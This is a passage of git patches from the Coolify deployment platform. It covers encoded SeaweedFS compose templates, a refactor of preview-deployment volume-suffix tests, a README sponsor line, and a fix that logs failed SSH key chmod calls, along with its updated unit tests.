uMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index 367770b08..0bf23e4e3 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,107 +3,174 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control - * whether the -pr-N suffix is applied during preview deployments. - * When enabled (default), the suffix is applied for data isolation. - * When disabled, the volume path is shared with the main deployment. - * Named Docker volumes also respect this setting. + * Behavioral tests for addPreviewDeploymentSuffix and related helper functions. + * + * Note: The parser functions (applicationParser, serviceParser) and + * ApplicationDeploymentJob methods require database-persisted models with + * relationships (Application->destination->server, etc.), making them + * unsuitable for unit tests. Integration tests for those paths belong + * in tests/Feature/. */ -it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('addPreviewDeploymentSuffix', function () { + it('appends -pr-N suffix for non-zero pull request id', function () { + expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3'); + }); - // Find the bind mount handling block (type === 'bind') - $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); + it('returns name unchanged when pull request id is zero', function () { + expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume'); + }); - // Bind mount block should check is_preview_suffix_enabled before applying suffix - expect($bindBlock) - ->toContain('$isPreviewSuffixEnabled') - ->toContain('is_preview_suffix_enabled') - ->toContain('addPreviewDeploymentSuffix'); + it('handles pull request id of 1', function () { + expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1'); + }); + + it('handles large pull request ids', function () { + expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999'); + }); + + it('handles names with dots and slashes', function () { + expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2'); + }); + + it('handles names with existing hyphens', function () { + expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5'); + }); + + it('handles empty name with non-zero pr id', function () { + expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1'); + }); + + it('handles uuid-prefixed volume names', function () { + $uuid = 'abc123_my-volume'; + expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7'); + }); + + it('defaults pull_request_id to 0', function () { + expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume'); + }); }); -it('still applies preview deployment suffix to named volume paths', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('sourceIsLocal', function () { + it('detects relative paths starting with dot-slash', function () { + expect(sourceIsLocal(str('./scripts')))->toBeTrue(); + }); - // Find the named volume handling block (type === 'volume') - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + it('detects absolute paths starting with slash', function () { + expect(sourceIsLocal(str('/var/data')))->toBeTrue(); + }); - // Named volumes SHOULD still get the -pr-N suffix for isolation - expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + it('detects tilde paths', function () { + expect(sourceIsLocal(str('~/data')))->toBeTrue(); + }); + + it('detects parent directory paths', function () { + expect(sourceIsLocal(str('../config')))->toBeTrue(); + }); + + it('returns false for named volumes', function () { + expect(sourceIsLocal(str('myvolume')))->toBeFalse(); + }); }); -it('confirms addPreviewDeploymentSuffix works correctly', function () { - $result = addPreviewDeploymentSuffix('myvolume', 3); - expect($result)->toBe('myvolume-pr-3'); +describe('replaceLocalSource', function () { + it('replaces dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('./scripts'), str('/app')); + expect((string) $result)->toBe('/app/scripts'); + }); - $result = addPreviewDeploymentSuffix('myvolume', 0); - expect($result)->toBe('myvolume'); + it('replaces dot-dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('../config'), str('/app')); + expect((string) $result)->toBe('/app./config'); + }); + + it('replaces tilde prefix with target path', function () { + $result = replaceLocalSource(str('~/data'), str('/app')); + expect((string) $result)->toBe('/app/data'); + }); }); /** - * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into - * subsequent services' volume paths during preview deployments. + * Source-code structure tests for parser and deployment job. * - * The label generation block must use a local variable ($labelUuid) instead of - * mutating the shared $uuid variable, which is used for volume base paths. + * These verify that key code patterns exist in the parser and deployment job. + * They are intentionally text-based because the parser/deployment functions + * require database-persisted models with deep relationships, making behavioral + * unit tests impractical. Full behavioral coverage should be done via Feature tests. */ -it('does not mutate shared uuid variable during label generation', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: bind mount handling', function () { + it('checks is_preview_suffix_enabled before applying suffix', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); - $labelBlock = substr($parsersFile, $labelBlockStart, 300); + $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Should use $labelUuid, not mutate $uuid - expect($labelBlock) - ->toContain('$labelUuid = $resource->uuid') - ->not->toContain('$uuid = $resource->uuid') - ->not->toContain("\$uuid = \"{$resource->uuid}"); + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('applies preview suffix to named volumes', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + + expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + }); }); -it('uses labelUuid in all proxy label generation calls', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: label generation uuid isolation', function () { + it('uses labelUuid instead of mutating shared uuid', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); - $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); - $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); - // All uuid references in label functions should use $labelUuid - expect($labelBlock) - ->toContain('uuid: $labelUuid') - ->not->toContain('uuid: $uuid'); + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain('$uuid = "{$resource->uuid}'); + }); + + it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); + }); }); -it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); +describe('deployment job structure: is_preview_suffix_enabled', function () { + it('checks setting in generate_local_persistent_volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - // Find the generate_local_persistent_volumes method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); -}); - -it('checks is_preview_suffix_enabled in deployment job for volume names', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - - // Find the generate_local_persistent_volumes_only_volume_names method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('checks setting in generate_local_persistent_volumes_only_volume_names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); }); From b448322a0c371a17fb696f28bfeb298350a68201 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:22:42 +0100 Subject: [PATCH 14/49] docs(sponsors): add ScreenshotOne as a huge sponsor --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b2d622167..b7aefe16a 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs * ### Big Sponsors From 6325e41aec29e5e02e16f0b8df0dbc1ae5b38531 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:27:10 +0100 Subject: [PATCH 15/49] fix(ssh): handle chmod failures gracefully and simplify key management - Log warnings instead of silently failing when chmod 0600 fails - Remove redundant refresh() call before SSH key validation - Remove storeInFileSystem() call from updatePrivateKey() transaction - Remove @unlink() of lock file after filesystem store - Refactor unit tests to use real temp disk and anonymous class stub instead of reflection-only checks --- app/Helpers/SshMultiplexingHelper.php | 9 +- app/Models/PrivateKey.php | 17 +- tests/Unit/SshKeyValidationTest.php | 267 ++++++++++++++------------ 3 files changed, 155 insertions(+), 138 deletions(-) diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index b9a3e98f3..aa9d06996 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -209,8 +209,6 @@ private static function isMultiplexingEnabled(): bool private static function validateSshKey(PrivateKey $privateKey): void { - $privateKey->refresh(); - $keyLocation = $privateKey->getKeyLocation(); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); @@ -236,8 +234,11 @@ private static function validateSshKey(PrivateKey $privateKey): void // Ensure correct permissions (SSH requires 0600) if (file_exists($keyLocation)) { $currentPerms = fileperms($keyLocation) & 0777; - if ($currentPerms !== 0600) { - chmod($keyLocation, 0600); + if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $privateKey->uuid, + 'path' => $keyLocation, + ]); } } } diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index b453e999d..1521678f3 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -5,6 +5,7 @@ use App\Traits\HasSafeStringAttribute; use DanHarrin\LivewireRateLimiting\WithRateLimiting; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\ValidationException; use OpenApi\Attributes as OA; @@ -71,7 +72,7 @@ protected static function booted() $key->storeInFileSystem(); refresh_server_connection($key); } catch (\Exception $e) { - \Illuminate\Support\Facades\Log::error('Failed to resync SSH key after update', [ + Log::error('Failed to resync SSH key after update', [ 'key_uuid' => $key->uuid, 'error' => $e->getMessage(), ]); @@ -235,15 +236,17 @@ public function storeInFileSystem() } // Ensure correct permissions for SSH (0600 required) - if (file_exists($keyLocation)) { - chmod($keyLocation, 0600); + if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $this->uuid, + 'path' => $keyLocation, + ]); } return $keyLocation; } finally { flock($lockHandle, LOCK_UN); fclose($lockHandle); - @unlink($lockFile); } } @@ -291,12 +294,6 @@ public function updatePrivateKey(array $data) return DB::transaction(function () use ($data) { $this->update($data); - try { - $this->storeInFileSystem(); - } catch (\Exception $e) { - throw new \Exception('Failed to update SSH key: '.$e->getMessage()); - } - return $this; }); } diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php index fbcf7725d..adc6847d1 100644 --- a/tests/Unit/SshKeyValidationTest.php +++ b/tests/Unit/SshKeyValidationTest.php @@ -20,126 +20,26 @@ */ class SshKeyValidationTest extends TestCase { - public function test_validate_ssh_key_method_exists() + private string $diskRoot; + + protected function setUp(): void { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $this->assertTrue($reflection->isStatic(), 'validateSshKey should be a static method'); - } + parent::setUp(); - public function test_validate_ssh_key_accepts_private_key_parameter() - { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $parameters = $reflection->getParameters(); - - $this->assertCount(1, $parameters); - $this->assertEquals('privateKey', $parameters[0]->getName()); - - $type = $parameters[0]->getType(); - $this->assertNotNull($type); - $this->assertEquals(PrivateKey::class, $type->getName()); - } - - public function test_store_in_file_system_sets_correct_permissions() - { - // Verify that storeInFileSystem enforces chmod 0600 via code inspection - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $this->assertTrue( - $reflection->isPublic(), - 'storeInFileSystem should be public' - ); - - // Verify the method source contains chmod for 0600 - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('chmod', $source, 'storeInFileSystem should set file permissions'); - $this->assertStringContainsString('0600', $source, 'storeInFileSystem should enforce 0600 permissions'); - } - - public function test_store_in_file_system_uses_file_locking() - { - // Verify the method uses flock to prevent race conditions - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('flock', $source, 'storeInFileSystem should use file locking'); - $this->assertStringContainsString('LOCK_EX', $source, 'storeInFileSystem should use exclusive locks'); - } - - public function test_validate_ssh_key_checks_content_not_just_existence() - { - // Verify validateSshKey compares file content with DB value - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - // Should read file content and compare, not just check existence with `ls` - $this->assertStringNotContainsString('ls $keyLocation', $source, 'Should not use ls to check key existence'); - $this->assertStringContainsString('private_key', $source, 'Should compare against DB key content'); - $this->assertStringContainsString('refresh', $source, 'Should refresh key from database'); - } - - public function test_server_model_detects_private_key_id_changes() - { - // Verify the Server model's saved event checks for private_key_id changes - $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - 'wasChanged', - $source, - 'Server saved event should detect private_key_id changes via wasChanged()' - ); - $this->assertStringContainsString( - 'private_key_id', - $source, - 'Server saved event should specifically check private_key_id' - ); - } - - public function test_private_key_saved_event_resyncs_on_key_change() - { - // Verify PrivateKey model resyncs file and mux on key content change - $reflection = new \ReflectionMethod(PrivateKey::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - "wasChanged('private_key')", - $source, - 'PrivateKey saved event should detect key content changes' - ); - $this->assertStringContainsString( - 'refresh_server_connection', - $source, - 'PrivateKey saved event should invalidate mux connections' - ); - $this->assertStringContainsString( - 'storeInFileSystem', - $source, - 'PrivateKey saved event should resync key file' - ); - } - - public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() - { - $diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); - File::ensureDirectoryExists($diskRoot); - config(['filesystems.disks.ssh-keys.root' => $diskRoot]); + $this->diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); + File::ensureDirectoryExists($this->diskRoot); + config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]); app('filesystem')->forgetDisk('ssh-keys'); + } + protected function tearDown(): void + { + File::deleteDirectory($this->diskRoot); + parent::tearDown(); + } + + private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey + { $privateKey = new class extends PrivateKey { public int $storeCallCount = 0; @@ -168,22 +68,141 @@ public function storeInFileSystem() }; $privateKey->uuid = (string) Str::uuid(); - $privateKey->private_key = 'NEW_PRIVATE_KEY_CONTENT'; + $privateKey->private_key = $keyContent; + + return $privateKey; + } + + private function callValidateSshKey(PrivateKey $privateKey): void + { + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $reflection->setAccessible(true); + $reflection->invoke(null, $privateKey); + } + + public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() + { + $privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT'); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT'); - $staleKeyPath = $disk->path($filename); - chmod($staleKeyPath, 0644); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $reflection->setAccessible(true); - $reflection->invoke(null, $privateKey); + $this->callValidateSshKey($privateKey); $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename)); $this->assertSame(1, $privateKey->storeCallCount); - $this->assertSame(0600, fileperms($staleKeyPath) & 0777); + $this->assertSame(0600, fileperms($keyPath) & 0777); + } - File::deleteDirectory($diskRoot); + public function test_validate_ssh_key_creates_missing_file() + { + $privateKey = $this->makePrivateKey('MY_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $this->assertFalse($disk->exists($filename)); + + $this->callValidateSshKey($privateKey); + + $this->assertTrue($disk->exists($filename)); + $this->assertSame('MY_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + } + + public function test_validate_ssh_key_skips_rewrite_when_content_matches() + { + $privateKey = $this->makePrivateKey('SAME_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'SAME_KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0600); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame('SAME_KEY_CONTENT', $disk->get($filename)); + } + + public function test_validate_ssh_key_fixes_permissions_without_rewrite() + { + $privateKey = $this->makePrivateKey('KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite'); + } + + public function test_store_in_file_system_enforces_correct_permissions() + { + $privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST'); + $privateKey->storeInFileSystem(); + + $filename = "ssh_key@{$privateKey->uuid}"; + $keyPath = Storage::disk('ssh-keys')->path($filename); + + $this->assertSame(0600, fileperms($keyPath) & 0777); + } + + public function test_store_in_file_system_lock_file_persists() + { + // Use the real storeInFileSystem to verify lock file behavior + $disk = Storage::disk('ssh-keys'); + $uuid = (string) Str::uuid(); + $filename = "ssh_key@{$uuid}"; + $keyLocation = $disk->path($filename); + $lockFile = $keyLocation.'.lock'; + + $privateKey = new class extends PrivateKey + { + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + protected function ensureStorageDirectoryExists() + { + // No-op in test — directory already exists + } + }; + + $privateKey->uuid = $uuid; + $privateKey->private_key = 